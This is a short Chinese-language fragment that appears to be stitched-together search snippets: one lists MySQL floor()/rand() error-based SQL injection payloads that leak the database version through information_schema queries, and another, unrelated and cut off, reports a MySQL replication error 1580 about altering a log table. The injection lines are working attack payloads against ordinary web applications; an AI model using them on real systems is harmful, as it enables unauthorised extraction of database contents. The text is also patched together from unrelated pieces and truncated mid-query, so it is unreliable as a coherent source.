1、通过floor报错,可以通过如下一些利用代码:
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
and (select count(*) from (select 1 union select null union select  ...
MySQL Replication 遇到下述错误讯息:(mysql> show slave status \G # 简化过的讯息如下:
Last_Errno: 1580
Last_Error: Error 'You cannot 'ALTER' a log table if logging is enabled' on query. Default database: 'mysql'. Query: 'ALTER
TABLE slow_log ...
Last_SQL_Errno: 1580
Last_SQL_Error: Error 'You cannot 'ALTER' a log table if logging is enabled' on query. Default database: 'my...